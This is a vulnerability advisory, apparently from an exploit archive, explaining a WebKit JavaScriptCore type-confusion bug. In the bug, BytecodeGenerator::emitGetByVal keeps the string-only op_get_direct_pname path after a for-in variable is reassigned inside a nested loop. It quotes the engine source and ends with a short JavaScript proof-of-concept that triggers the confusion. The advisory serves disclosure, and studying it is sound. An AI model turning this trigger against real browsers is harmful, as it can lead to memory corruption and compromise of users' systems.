WebKit JSC – ‘BytecodeGenerator::emitGetByVal’ Incorrect Optimization (1)
Let's start with JS code. let o = {}; for (let i in {xx: 0}) { o[i]; <<-------- (a) } When the code generator meets (a), it will call BytecodeGenerator::emitGetByVal. Here's the code of BytecodeGenerator::emitGetByVal. RegisterID* BytecodeGenerator::emitGetByVal(RegisterID* dst, RegisterID* base, RegisterID* property) { for (size_t i = m_forInContextStack.size(); i > 0; i--) { ForInContext& context = m_forInContextStack[i - 1].get(); if (context.local() != property) continue; if (!context.isValid()) break; if (context.type() == ForInContext::IndexedForInContextType) { property = static_cast<IndexedForInContext&>(context).index(); break; } ASSERT(context.type() == ForInContext::StructureForInContextType); StructureForInContext& structureContext = static_cast<StructureForInContext&>(context); UnlinkedValueProfile profile = emitProfiledOpcode(op_get_direct_pname); instructions().append(kill(dst)); instructions().append(base->index()); instructions().append(property->index()); instructions().append(structureContext.index()->index()); instructions().append(structureContext.enumerator()->index()); instructions().append(profile); return dst; } UnlinkedArrayProfile arrayProfile = newArrayProfile(); UnlinkedValueProfile profile = emitProfiledOpcode(op_get_by_val); instructions().append(kill(dst)); instructions().append(base->index()); instructions().append(property->index()); instructions().append(arrayProfile); instructions().append(profile); return dst; } The method uses op_get_by_val to handle expressions like "o[i]". But, there is a fast path, which uses op_get_direct_pname, for when the index variable is a string. op_get_direct_pname is designed for a string index only. So if other types are used as indexes, it will cause type confusions. In the above JS code, it's very clear that "i" will be a string("xx") semantically. Therefore, it will use op_get_direct_pname to handle it. Here's another example. let o = {}; for (let i in {xx: 0}) { o[i]; <<-------- (a) i = 0x123456; <<-------- (b) o[i]; <<-------- (c) } In this case, it will use op_get_direct_pname at (a). And at (b), since the index variable "i" is replaced, the invalidate method of the ForInContext object that makes "context.isValid()" return false is called. So, op_get_by_val will be used at (c). But the problem is that it can't properly handle the following case which cause a type confusion. let o = {}; for (let i in {xx: 0}) { for (let j = 0; j < 2; j++) { o[i]; // When j == 1, op_get_direct_pname was already emitted, but i is not a string anymore. i = 0; } } PoC: let o = {}; for (let i in {xx: 0}) { for (let j = 0; j < 2; j++) { o[i]; i = new Uint32Array([0, 1, 0x777777, 0, 0]); } } |